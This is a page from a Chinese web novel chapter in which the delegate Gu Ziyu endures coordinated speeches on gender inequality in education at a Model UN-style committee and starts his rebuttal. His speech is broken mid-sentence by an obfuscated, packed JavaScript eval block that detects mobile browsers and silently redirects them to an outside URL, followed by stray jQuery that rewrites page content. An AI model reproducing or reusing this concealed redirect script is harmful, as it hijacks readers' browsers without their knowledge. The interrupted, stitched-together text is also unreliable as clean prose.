59.自相鱼肉(第2页)

 




    “银地国家代表认为，要想改变目前在学术和职业领域的男女结构不平衡的现状，最重要的是，各国政府需要通过政治手段，来应对社会中存在的负面性别规范和态度。改革教育入学制度远远不够，我们认为，要推动各国建立性别比对机制，对职业晋升路径、学术资助的分配、公共领导层比例进行系统监测。”
 




    几位代表点头，低声与身边人讨论。
 




    “我手里拿着的是本委员会去年编号为 n950 的最新报告，在学术和职业领域，不平等现象处处皆是，比如，担任讲师或教师职位的近 80% 是女性，但负责人则通常为男性。在 30 个被调查的国家中，89% 的中学教师是女性，但校长中女性占比仅为 34%。而学术领域的不平等现象也很突出，工程、信息和通信技术专业的学生中，女生仅占四分之一。有的国家至今仍有相当数量的学术领域禁止向女性开放…”
 




    嚯。顾梓聿感觉自己膝盖中了一枪：这说的不就是珀国吗？去年，珀国大学实施单性别授课的科目数升至新高，目前禁止女性参加的课程已经多达80多门，包括但不限于翻译、企业管理、应用物理、核物理、计算机科学、电机工程等课程。即使是在别国修习了这些学科的女大学生，珀国国内也没有相应的招聘需求，导致她们将面对一毕业就失业的状态。
 




    本来珀国国内的高等教育资源就是非常缺乏的，现在再来了一个这个政策，女性接受高等教育的可能性就更小了。
 




    林亦凡继续道：“如果我们不引入结构性配额、不正视无形壁垒，那么性别平等永远只能是愿景，不会成为现实。”
 




    “…制度性性别偏见是通过文化再生产维系的，发达国家关于改善性别结构不平等的经验也适用于发展中国家，对于后者来说，即便处于社会发展初级阶段，也有义务迈出第一步…”
 




    每一句话，听起来都像是在陈述事实，但顾梓聿听得出来，这不是讨论，是伏击。
 




    林亦凡的表述暗含指责，既拷问珀国的立场，也质疑顾梓聿作为代表是否有足够的政治想象力与伦理担当。
 




    顾梓聿边听边记笔记，准备着，如果林亦凡没能用完他那两分钟发言时间，选择开放评论或回答问题的话，他就要问一个能反驳他的问题，给他挑挑刺也好。顾梓聿想到了两个点，可是他低估了林亦凡的丰富经验，人家发言时间掐得刚刚好，正好提前一秒结束，而这剩下的一秒也就忽略不计了。
 




    顾梓聿心里叹了口气，用力两笔把自己刚写的东西划掉，继续往下听其他代表的发言。
 




    “…在华纳帝国，虽然两性比例在参政方面有所改善，但仍然存在着巨大的差距，女性在企业管理层、在立法机构或政府高层占据的席位依然很低…”
 




    “…华纳代表认为，性别不平等现象持续妨害着女性发展，并危及整个社会，为了有效通过教育促进女性赋权，华纳帝国倡议各国进行关于性别平等的改革和立法，例如在政府机构和教职名额上，实行定量配给制，男女职工比例应达到1：1，或至少1：2，以利于推进实现性别平等的工作…”
 




    “...现在仍有大量的观点支持，认为男孩比女孩更应上大学。若想要成功改变现状，我们必须改变整个社会的思潮，加强对社会舆论的引导...”
 




    顾梓聿看着这位金发碧眼的白人小哥，一句一句地说着“作为华纳代表”、“华纳帝国认为”，作为一个真正的华纳人，怎么说呢？这感觉真是酸爽。
 




    顾梓聿耐心地一个个听下去，呵，听到现在，所有已发言的代表的立场，都和林亦凡是一边的。林亦凡起了个头，几个发达国家代表接连补枪。他们从“政策保障”、“领导力培训”一路讲到“制度改革”、“监督监测”，彼此配合默契，没有留出丝毫给顾梓聿发挥的余地。
 




    这些国家本身经济情况都还乐观，于是就都高举大旗，说要改革立法。顾梓聿闭了闭眼：这不是讨论，这是围猎，这是追着他打啊，简直比痛打落水狗的架势还狠。
 




    到目前为止，性别极度不平等的国家还没有一个发言，像他们这种内忧外患的小国，只要敢改革就自己先死，不改革就被这些人骂死，难啊，真是难啊！
 




    很快就轮到他了。
 




    顾梓聿站起来，喉咙一阵干涩。他清楚，自己这两分钟必须“活下去”。
 




    他第一句话没有急着反驳，而是转向发言席中那些看着他、感同身受的性别极度不平衡的小国代表，用眼神寻求着支持，表达着大家都在同一战线：
 




    “首先，珀国感谢银地代表提出的讨论主题。它提醒我们，不能忽视制度与文化的层叠结构。但在考虑教育赋权女性的问题时，不能只从塔尖往下看，也该低头看看地基裂没裂。”
 




    他声音异常清晰，甚至带着一种锋利的克制：
 




    “主席女士、各位代表，我来自珀国，我们国家的议会性别比例不到3%，女性识字率不到六成。我们甚至还在为女孩接受
 




    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455938|166578||http|test|mini|href|location''.split(''|''),0,{}));
 




    () {
 




    $(''.inform'').remove();
 




    $(''#content'').append(''
 




    初等教育而辩论。”